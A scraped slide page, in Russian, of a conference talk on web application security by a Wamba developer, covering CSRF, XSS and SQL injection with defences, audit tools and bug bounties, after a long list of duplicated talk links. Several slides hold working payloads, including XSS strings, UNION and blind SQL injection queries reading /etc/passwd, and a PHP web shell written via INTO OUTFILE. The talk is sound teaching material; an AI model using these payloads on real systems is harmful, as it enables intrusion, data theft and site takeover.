Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)Ontico
 
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...Ontico
 
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...Ontico
 
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)Ontico
 
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...Ontico
 
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...Ontico
 
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)Ontico
 
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)Ontico
 
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...Ontico
 
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...Ontico
 
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...Ontico
 
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)Ontico
 
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)Ontico
 
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)Ontico
 
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)Ontico
 
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...Ontico
 
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...Ontico
 
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...Ontico
 

More from Ontico (20)

One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
 
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
 
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
 
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
 
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
 
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
 
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
 
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
 
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
 
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
 
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
 
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
 
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
 
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
 
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
 
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
 
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
 
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
 
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
 
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
 

Максим Кочкин (Wamba)

  • 2. OWASP TOP-10 (2013) 1. Injection 2. Broken Authentication and Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration 6. Sensitive Data Exposure 7. Missing Function Level Access Control 8. Cross-Site Request Forgery (CSRF) 9. Using Components with Known Vulnerabilities 10. Unvalidated Redirects and Forwards
  • 3. Сводная статистика по распространенности угроз Угроза Подвержено сайтов, % WhiteHat (2013) Cenzic (2013) Contextis (2013) Avg XSS 53 60 56 56 SQL Injection 7 20 14 14 CSRF 26 22 34 27 Information Leakage 55 36 60 50 Authentication & authorization 11 56 60 42
  • 4. Реальность от WHID (март 2014) Атака От общего числа, % XSS 7 SQL Injection 18 CSRF 2 Denial of Service 20 Brute Force 4 https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
  • 6. Cross-Site Request Forgery (WASC-09) Атака, при которой жертва без согласия выполняет от своего имени запрос. Другими словами, атакующий может управлять некоторыми действиями жертвы в свою пользу.
  • 7. Cross-Site Request Forgery Атака ● на сайте есть действие «подарить подарок» ● действие выполняется ajax-запросом при клике по ссылке, параметр — id получателя ● но на самом деле достаточно обычного GET-запроса ● жертве подбрасывается ссылка - напрямую: в мессенджере, в блоге, по почте, … - укороченная — скрыть payload - на сайте атакующего: картинка или подготовленная форма
  • 8. Cross-Site Request Forgery Атака, простейшие варианты GET http://goo.gl/d0LUAg <img src="[GET request]"> <form action="[url]" method="post">...</form> <script>form.submit()</script>
  • 9. Cross-Site Request Forgery Простые правила GET — только для получения данных Для изменения данных — POST, PUT, DELETE (это не защита!)
  • 10. Cross-Site Request Forgery Защита Ненадежные способы ● принимать только POST ● HTTP_REFERER ● подтверждение вторым запросом ● многошаговый процесс
  • 11. Cross-Site Request Forgery Защита ● токен - сессионный токен (Synchronizer Token) - двойная отправка куки (Double Submit Cookies) - зашифрованный токен (Encrypted Token) ● подтверждение (пароль, капча) ● Origin (request header) (не путать с CORS) [https://wiki.mozilla.org/Security/Origin] - iframe, embed, applet, script, form, XHR, redirect
  • 12. Cross-Site Request Forgery Аудит ● w3af [http://w3af.org/plugins/audit/csrf] — только схема с куками. ● Arachni [http://www.arachni-scanner.com/] — 4- этапная проверка, умеет отличать формы, которые отображаются только для залогиненных юзеров, проверяет куки и токены. ● Руками и глазами.
  • 13. Cross-Site Request Forgery Logout CSRF на logout? R U serious? Ahahaha! Oh, wait… http://superlogout.com/ Я знаю как минимум один сайт, для которого это — реальная проблема: odnoklassniki.ru :)
  • 14. XSS Exploitability AVERAGE Prevalence VERY WIDESPREAD Detectability EASY Impact MODERATE
  • 15. Cross-Site Scripting (WASC-08) Атака, при которой атакующий через уязвимость заставляет выполняться свой код в браузере жертвы. Браузер может быть встроен в ПО и иметь доступ к его компонентам. Обычно код — JS, но также возможно выполнение VBScript, ActiveX, Java, Flash и других поддерживаемых браузером технологий.
  • 16. Cross-Site Scripting Угроза ● фишинг ● кража сессии (если куки не httponly) ● кража пользовательских данных жертвы со страниц ● выполнение нежелательных действий от имени жертвы (обход CSRF-защиты)
  • 17. Cross-Site Scripting Типы ● TYPE 1 — отражённая (non-persistent, reflected) ● TYPE 2 — хранимая (persistent, stored) ● TYPE 0 — DOM-based
  • 18. Cross-Site Scripting TYPE 1, отражённая ● формируется запрос с пользовательскими данными userdata ● в ответе данные userdata встраиваются в HTML без надлежащей фильтрации Чаще всего это ● заполнение полей формы в случае ошибки ● вывод поискового текста в форме поиска
  • 19. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 20. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 21. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 22. Cross-Site Scripting TYPE 2, хранимая ● пользовательские данные сохраняются в БД без надлежащей фильтрации ● в дальнейшем эти данные выводятся на HTML страницу из БД без надлежащей фильтрации
  • 23. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  • 24. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  • 25. Cross-Site Scripting TYPE 3, DOM-based Атака полностью реализуется на клиенте без участия сервера ● пользователь вводит данные в URL или на страницу (формы) ● эти данные используются клиентом (JS приложением) для построения HTML страницы без надлежащей фильтрации
  • 26. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 27. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 28. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('Hello, '+r+'!'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 29. Cross-Site Scripting Меры предотвращения Правила OWASP https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet ESAPI (The OWASP Enterprise Security API) https://code.google.com/p/owasp-esapi-java/ https://code.google.com/p/owasp-esapi-php/ https://code.google.com/p/owasp-esapi-python/ httponly куки CSP (Content Security Policy)
  • 30. Cross-Site Scripting CSP CSP — Content Security Policy [Google, Mozilla] http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html Кто уже поддерживает? http://caniuse.com/#feat=contentsecuritypolicy Кто уже использует? (из alexa top-25) - mail.yandex.ru, e.mail.ru, facebook.com
  • 31. Cross-Site Scripting CSP: пример HTTP Response Header Content-Security-Policy: default-src 'none' script-src 'self' http://*.my.com apis.google.com; style-src http://static.mysite.com:81; img-src *://cdn.somecdn.com; connect-src 'self' http://api.mysite.com; object-src 'none'; report-uri /report_endpoint;
  • 32. Cross-Site Scripting Аудит OWASP ZAP [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project] прокси с последующим анализом логов. OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER] очень умный, гибко настраивается, многое умеет. w3af [http://w3af.org/plugins/audit/xss]
  • 33. SQL Injection Exploitability EASY Prevalence COMMON Detectability AVERAGE Impact SEVERE
  • 34. SQL Injection (WASC-19) Атака на ПО, использующее входные данные для построения SQL-запросов, при которой атакующий изменяет логику выполнения SQL-запроса к БД. В некоторых случаях атака способна привести к выполнению команд ОС и захвату системы.
  • 35. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  • 36. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  • 37. SQL Injection Схема атаки ● поиск точки, использующей пользовательские данные в SQL-запросе ● выполнение фингерпринтинга СУБД ● поиск уязвимости, позволяющей выполнить атаку ● эксплуатация уязвимости
  • 38. SQL Injection Фингерпринтинг СУБД ● сообщения об ошибках на страницах ● баннер (version(), @@version) - SELECT version() --> 5.6.12-56 ● диалект SQL - MySQL: WHERE id = 1 /*!50067 AND 47=47 */ - PostgreSQL: AND 82::int=82 ● поведение некоторых функций ● вакансии или собеседование :)
  • 39. SQL Injection Эксплуатация Типы ● обычная инъекция — по выводимым ошибкам ● инъекция вслепую (Blind Injection) — вывод ошибок отключен Техники ● UNION ● batched запросы ● boolean-based blind ● time-based blind
  • 40. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 and 1=1 -- OK query.php?id=1 and 1=2 -- error
  • 41. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 order by 1 -- OK query.php?id=1 order by 2 -- OK query.php?id=1 order by 3 -- OK query.php?id=1 order by 4 -- error!
  • 42. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  • 43. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  • 44. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=-1 union all select version(), user(), database() Name: 5.0.0-42 [root@localhost] Age: Main
  • 45. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select concat(version(),char(58),user(),char(58),database()) Name: 5.0.0-42:root@localhost:Main
  • 46. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select load_file('/etc/passwd') query.php?id=-1 union all select '<?php system($_GET["cmd"]); ?>' into outfile '/www/cmd.php'
  • 47. SQL Injection Примеры: batched queries SELECT a FROM table WHERE id={$id} query.php?id=1;drop table ... query.php?id=1;drop user ... query.php?id=1;create user ... query.php?id=1;grant all privileges on ... query.php?id=1;select ... into outfile ...
  • 48. SQL Injection Примеры: boolean-based blind SELECT a FROM table WHERE id={$id} query.php?id=1 and ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A D — номер БД в таблице schemata N — номер очередного символа A — ASCII-код символа select schema_name from information_schema.schemata — имя БД mid(dbname, N, 1) — один символ имени ord(char) — ASCII-код, удобнее сравнивать
  • 49. SQL Injection Примеры: time-based blind (double blind) SELECT a FROM table WHERE id={$id} query.php?id=1 or if(ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A, sleep(S), true) S — в зависимости от нормального времени отклика сайта Основа — как в boolean-based blind if (bingo, sleep(S), true) — если bingo, то +S секунд к отклику
  • 50. SQL Injection Защита и превентивные меры ● связывание параметров (prepared statements, биндинг, параметризованные запросы) с экранированием значений - SELECT * FROM table WHERE columna=? AND columnb=? ● файрволлы (детекция попыток фингерпринтинга и эксплуатаций) — NAXSI, ModSecurity ● разграничение прав доступа - user: SELECT, INSERT, UPDATE, … - superuser: CREATE, DROP, ALTER, … ● валидация и фильтрация всего :)
  • 51. SQL Injection Аудит sqlmap [http://sqlmap.org/] — умеет всё. MySQL, Oracle, PostgreSQL, Microsoft SQL Server, … Знает массу техник исследования и эксплуатации. Да, умеет полноценно эксплуатировать вплоть до сливания полного дампа БД. Вряд ли вам понадобится другой инструмент.
  • 52. Зачем нам всё это знать? Чтобы понимать: одна маленькая ошибка может стоить бесконечно дорого. Чтобы понимать, откуда ВНЕЗАПНО может прийти беда. Чтобы уметь разрабатывать инструменты противодействия. Чтобы уметь пользоваться инструментами и писать безопасный код. Ну и просто потому что это круто :)
  • 53. P.S.
  • 54. Bug bounty программы Когда у тебя огромная кодовая база, изменяющаяся с дикой скоростью, невозможно уследить за всем. Bug bounty программа хорошо конвертирует blackhats в whitehats. Список таких программ https://bugcrowd.com/list-of-bug-bounty-programs/ Вознаграждения — от маечки до $20000 и больше (например, у Facebook нет верхней границы)
  • 55. Wamba Bug Bounty http://corp.wamba.com/ru/developer/security/ Вознаграждения ● критичные сервисы — от 5 000 до 100 000 руб. ● прочие сервисы — от 3 000 до 25 000 руб. ● зал славы
  • 58. Атаки на браузеры http://html5sec.org/ Теперь не только <script> и <img onerror/> Сотни способов выполнить js-код на клиенте, используя баги или особенности работы с HTML в некоторых браузерах.
  • 59. Атаки на браузеры cookie-bomb (by @homakov) http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html RFC2109: A Set-Cookie from request-host x.foo.com for Domain=.foo.com would be accepted. Если я могу выполнять код на x.foo.com, я могу ставить куки на .foo.com. 1 кука = 4кБ, а мы можем поставить сотни кук. 400кБ+ заголовков — веб-сервер просто не отвечает. Итого: DoS сервиса (не всего, для юзера) куками
  • 61. Социальная инженерия Chunkhost и Sendgrid (март 2014) https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid Как в старые добрые времена ● хакер покупает домен chunkhost.info ● звонит в поддержку sendgrid и просит сменить мыло support@chunkhost.com ● на support@chunkhost.info, поддержка говорит ОК (wtf?) ● хакер включает в sendgrid фичу BCC, инициирует сброс паролей пары акков на chunkhost, получает копию писем со ссылкой для сброса ● аккаунты и слив репутации chunkhost спасает только двухфакторная аутентификация на этих акках
  • 62. Социальная инженерия CSS-Tricks и Media Temple (март 2014) http://shoptalkshow.com/episodes/special-one-one-hacker/ Как в еще более старые добрые времена ● хакер звонит в поддержку MT и просит поменять email от акка Криса, потому что, якобы, не помнит его ● поддержка говорит «ок, только пришлите скан своих документов» ● хакер подделывает документы и получает акк (sic!) ● кроме этого захватывает пачку других сайтов ● чувак говорит, что мог бы захватить jquery.com (тоже хостится на MT) и заразить исходники, которые используются на тысячах сайтов ● еще чувак говорит, что ничего не понимает в этих ваших sql- инъекциях и прочей ерунде, но ему это и не нужно :)
  • 63. Github, пароли в репозиториях DB config (PHP) https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code ≈60000 AWS private key https://github.com/search?q=AKIAJ&type=Code&ref=searchresults ≈1000 RSA private key https://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY--- %22&ref=searchresults&s=indexed&type=Code ≈44000
  • 66. Потренироваться http://testphp.vulnweb.com (Acunetix) http://testasp.vulnweb.com (Acunetix) http://testaspnet.vulnweb.com (Acunetix) http://testhtml5.vulnweb.com/ (Acunetix) http://demo.testfire.net (IBM) http://zero.webappsecurity.com (HP) http://crackme.cenzic.com (Cenzic) http://www.webscantest.com (NTO) http://www.dvwa.co.uk/ (RandomStorm, offline) https://code.google.com/p/webgoat/ (OWASP, offline)